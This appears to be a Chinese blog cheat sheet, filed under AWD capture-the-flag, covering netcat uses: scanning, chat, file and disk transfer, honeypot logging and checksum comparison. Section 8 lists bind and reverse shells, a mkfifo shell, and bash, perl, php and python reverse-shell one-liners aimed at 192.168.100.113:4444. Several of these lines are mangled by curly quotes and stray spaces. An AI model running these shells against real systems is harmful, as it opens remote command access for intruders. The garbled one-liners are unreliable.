首页 » NetworkSec » AWD » 正文

NC用法整理

-p 指定端口,-s 指定地址
 
1.端口扫描(不太好用)
扫描端口段
nc -v -z ip port-port
加上-u则扫UDP端口
可以查看banner信息。
 
2.正/反向域名解析
-n接受IP,不解析域名,-v可以正反向域名解析
 
3.聊天室
nc -l 192.168.1.2 -p 8999
nc 192.168.1.2 8999
就可以发消息给.1.2主机了
 
4.文件传输
A:nc -l 192.168.43.237 -p 8999 < test.txt
B: nc 192.168.43.237 8999 > test2.txt
B 就可以接收到A的test.txt了
 
5.传输目录(打包压缩)
A:tar -cvf – dir_name| bzip2 -z | nc -l 192.168.1.2 -p 8999
B:nc -n 192.168.1.2 8999 | bzip2 -d |tar -xvf –
B就可以接受到A的压缩文件了
 
6.加密数据
A:nc -l 192.168.1.2 -p 8999 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
B:mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 192.168.1.2 -p 8999
 
7.克隆一个设备
A:dd if=/dev/sda | nc -l 8999
B:nc -n ip 8999 | dd of=/dev/sda
 
8.重定向程序(都懂的)
正向:
A:nc -l 192.168.1.2 -p 8999 -e /bin/bash
B:nc 192.168.1.2 -p 8999
反向:
A:nc -l 192.168.1.2 -p 8999
B:nc 192.168.1.2 8999 -e /bin/bash
 
假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell
A:
$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 8999 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给sh命令
sh命令进程受到输入并把它写回到netcat。
netcat 通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
在客户端仅仅简单连接到服务器
B:
$nc -n 192.168.1.2 8999
你会得到一个shell提示符在客户端
(其他反向shell:
bash: bash -i>&/dev/tcp/192.168.100.113/4444 0>&1
perl:  perl -e’use Socket; $ i =“192.168.100.113”; $ p = 4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect(S,sockaddr_in($ p,inet_aton (STDOUT,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”); exec(“/ bin / sh -i”);} ;”
php:  php -r’$ sock = fsockopen(“192.168.100.113”,4444); exec(“/ bin / sh -i <&3>&3 2>&3”);
python:  python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.100.113”,4444)); os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” –        i”]);”
)
 
9.蜜罐
nc -L 192.168.1.2 -p 80 > c:\log.txt
使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把‘>’ 改为‘>>’即可以追加日志。
//我的版本nc没有-L参数……
 
10.两台服务器文件校验
// 192.168.1.2
# find /etc/rc.d/ -type f|xargs md5sum|nc -l 8999
 
// 192.168.1.3
# nc 192.168.1.2 8999|md5sum -c -|grep -v OK
这样可比较的东西就多了,例如下面命令检查机器上的sid位:
find / -xdev -type f -user root \( -perm -4000 -o -perm -2000 \)
 
nc神器,真的小巧又强大!
 
参考链接:
http://blog.csdn.net/gavinr/article/details/7277507
http://www.oschina.net/translate/linux-netcat-command
http://www.ddvip.com/detail/1000230090.html
https://bbs.ichunqiu.com/thread-23024-1-1.html

Comment

please input captcha *